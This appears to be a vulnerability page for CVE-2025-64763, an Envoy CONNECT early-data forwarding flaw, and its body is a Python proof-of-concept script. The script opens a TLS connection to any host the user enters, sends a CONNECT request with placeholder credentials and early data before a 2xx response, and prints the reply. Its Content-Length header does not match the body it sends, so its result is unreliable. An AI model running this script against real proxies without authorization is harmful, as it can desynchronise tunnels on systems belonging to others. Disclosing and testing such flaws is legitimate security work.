CVE-2025-64763: Envoy TCP代理CONNECT请求数据转发安全漏洞

#!/usr/bin/env python3 """ CVE-2025-64763 PoC - Envoy CONNECT Early Data Forwarding This PoC demonstrates the vulnerability where Envoy forwards client data before receiving a 2xx response for CONNECT requests. """ import socket import ssl import time def test_envoy_connect_vulnerability(target_host, target_port): """ Test for CVE-2025-64763: Early CONNECT data forwarding The vulnerability allows data to be forwarded before 2xx response, which can cause tunnel state desync when upstream rejects the connection. """ context = ssl.create_default_context() try: with socket.create_connection((target_host, target_port), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: # Send CONNECT request with early data # The vulnerability is that Envoy forwards this data before 2xx connect_request = ( b'CONNECT target.example.com:443 HTTP/1.1\r\n' b'Host: target.example.com:443\r\n' b'Proxy-Authorization: Basic dXNlcjpwYXNz\r\n' b'Content-Length: 100\r\n' b'\r\n' b'EARLY_DATA_BEFORE_2XX_RESPONSE\r\n' ) ssock.sendall(connect_request) # Read response (may be non-2xx from upstream) response = b'' try: while True: chunk = ssock.recv(4096) if not chunk: break response += chunk if b'\r\n\r\n' in response: break except: pass print(f"Response: {response.decode('utf-8', errors='ignore')}") print("If data was forwarded before 2xx, the tunnel state may be desynced") except Exception as e: print(f"Error: {e}") print("This may indicate the vulnerability or network issues") if __name__ == "__main__": # Usage example print("CVE-2025-64763 PoC - Envoy CONNECT Early Data Vulnerability") print("=" * 60) target = input("Enter target host: ") port = int(input("Enter target port [443]: ") or "443") test_envoy_connect_vulnerability(target, port)